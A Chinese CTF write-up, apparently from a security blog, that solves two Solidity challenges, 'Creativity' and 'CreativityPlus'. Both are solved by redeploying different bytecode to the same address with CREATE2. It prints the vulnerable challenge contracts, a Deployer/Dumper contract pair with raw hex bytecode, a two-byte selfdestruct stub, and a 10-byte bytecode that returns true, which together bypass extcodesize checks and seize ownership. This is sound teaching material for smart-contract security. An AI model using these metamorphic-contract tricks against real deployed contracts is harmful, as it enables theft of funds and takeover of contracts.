首发于

Blockchain in CTF

create2特性

Retr_0

这个人太懒了,签名都懒得写一个

两道一致考点的CTF题目,放在一起进行讨论。

首先先看 BalsnCTF 的题目。 题目给出了下面的代码。

pragma solidity ^0.5.10;

contract Creativity {
    event SendFlag(address addr);

    address public target;
    uint randomNumber = 0;

    function check(address _addr) public {
        uint size;
        assembly { size := extcodesize(_addr) }
        require(size > 0 && size <= 4);
        target = _addr;
    }

    function execute() public {
        require(target != address(0));
        target.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(address(0));
    }

    function sendFlag() public payable {
        require(msg.value >= 100000000 ether);
        emit SendFlag(msg.sender);
    }
}

目标是触发SendFlag() ,但是很明显 10000000 ether是很难做到的。但是他这里给出了一个 excute()方法,这里可以任意调用target 地址合约的内容。 那么就是寻找如何改变target的地址 从而成为我们自己本身的恶意合约地址。

这里有一个check方法,可以满足更改target地址的情况。 但是一定要满足合约里的bytecode >0 且 < = 4 才能成功更改。 我们知道 四个指令以下做到触发事件是不可能的。 所以这里只能考虑 是否能在check之前使得合约满足条件,check之后让其改变呢。

那么这里就引入了新的合约创建方法 create2

这里我粘贴官方手册create2的用法。

而create2 合约地址的计算如下

keccak256 (0xff ++ address ++ salt ++ keccak256 (init_code)) [12:] salt为自己加盐,和正常的一些加密方式加盐相同含义。 init_code是自己的字节码。 address 是部署合约的地址。

但是我们init_code 是不同的,这里又有了一种较为神奇的方法。最初是由ethscan上被检测,然后公开了代码

https://ropsten.etherscan.io/address/0xb3ecef15f61572129089a9704b33d53f56991df8?__cf_chl_captcha_tk__=bb3c99eeb7468e5a569bd45cdfc3d360c3637bde-1620024594-0-AY2IJmwx8s_mLtqg5_QT9Ov6Z1tfJO2mnoC0__p5ib1qw9pYRJeEX4hri0UJ_dhf7fRwdS5OQ5Te5haOpfQCsXlx-HHM8k20PsgHoxS2XoI2z-UHNs1-AmU6CKTvoHl_26hzSbrE5lg2XjXyMJQuuDD6da3RibxdODEkLFwhamSEkaL366HehUh2oEAfBgd5vGSCh64vtFNKq_FmA4yjfd8RHovYGemB-kI0EISbiGVHkWnhARmh1LHjTp64Yd_oR6dT8z18wDcez6qewWZLePYhP0cG5XN610arcUgEzRsgwETWk-twMaQtN1duk5QNOv2owGOxBJODcbZQeTxj0ni29zmaaIcvLL_wL4bPpYExi6ouhMtYDqfq3Z7qijKoGcTiantR965Fb65y4GCDI3mgHriQzMp46XZsny0AQi56wruToL9E76Ozpwisy5k3Ms8RnpqnIzF6mAOefuMuvHf3VFeoGsJVYzR6jG92HV7jiQSnwPST02kG6x9_O4olzDQhjwsx-I-4S_3qAO6G2vBZt_vbTk4YZd9CpBIdShWlmkVa6Pbzit93YT-i1Lz4htGwNNvpCRCJunTo22lWo8rpTiDh7dB3sot4mJeVYYgWXhyqiL8-E9PUXTlggN-IMOavFP7lI2zZ1mCJdJPok16uuUFas3p-6v1-047HraCtPJ_seKL5voViO8xP2pKCVKXxgk-BN1Hs2rgYyhNXHmQww4BdD2A1ZPXS1ZKvd5ox#code

后来这里就被整理出来代码为如下

pragma solidity ^0.5.10;

contract Deployer {
    bytes public deployBytecode;
    address public deployedAddr;

    function deploy(bytes memory code) public {
        deployBytecode = code;
        address a;
        // Compile Dumper to get this bytecode
        bytes memory dumperBytecode = hex\'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe\';
        assembly {
            a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
        }
        deployedAddr = a;
    }
}

contract Dumper {
    constructor() public {
        Deployer dp = Deployer(msg.sender);
        bytes memory bytecode = dp.deployBytecode();
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

DumpBytecode就是 下面的dumper 合约,当constructor的时候他会读取真正部署的字节码。然后返回去。所以这样就可以满足每次部署的Bytecode相同了。 这样也就完成了骚操作。也就是能够把两个完全不同的字节码部署到同一个地址。 当然第二次部署前这个合约要销毁。

那么这里首先考虑是如何销毁,肯定会想到Selfdestruct 然后随便给个地址就可以了。但是没有额外的字节码允许push,最好直接找一个能返回值的指令。发现可以找tx.origin,或者是 msg.sender 于是可以构造如下字节码 0x32ff | 0x33ff

这样就可以成功的部署和通过check,随后给该合约发一个空交易。或者一个单纯的转账操作。也可以完成它的自毁。

最后我们所需要做的就是触发SendFlag事件,这里不会写字节码 or 觉得写字节码麻烦就可以直接写一个合约触发,然后remix上直接dumpbytecode即可。

接下来分析第五空间的CreativityPlus。

CreativityPlus

给源码

pragma solidity ^0.5.10;

contract CreativityPlus {
    event SendFlag(address addr);

    address public target;
    address public owner;
    uint randomNumber = RN;

    constructor() public {
        owner = msg.sender;
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

    function check(address _addr) public {
        uint size;
        assembly { size := extcodesize(_addr) }
        require(size > 0 && size <= 4);
        target = _addr;
    }

    function execute() public {
        require( target != address(0) );
        address tmp;
        uint size;
        assembly { 
            tmp := and(sload(0),0xffffffffffffffffffffffffffffffffffffffff)
            size := extcodesize(tmp) 
        }
        require( size > 0 && size <= 10);
        (bool flag, ) = tmp.call(abi.encodeWithSignature(""));
        if(flag == true) {
            owner = msg.sender;
        }
    }

    function payforflag() public payable onlyOwner {
        emit SendFlag(msg.sender);
        selfdestruct(msg.sender);
    }
}

前面的check还是一样的,但是最后还进行了一个10字节的check,需要你返回一个 真值。这里其实是ethernaut的一个challenge的 就是10字节部署的字节码能返回一个值。

把2a 改成01就行了。

6001  PUSH1 0x01
6080  PUSH1 0x80
52    Mstore
6020  PUSH1 0x20
6080  PUSH1 0x80
f3    return
0x600160805260206080f3 

部署一下 调用excute函数就可以了。

发布于2021-09-18 15:41:28
+10赞
0条评论
收藏
内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66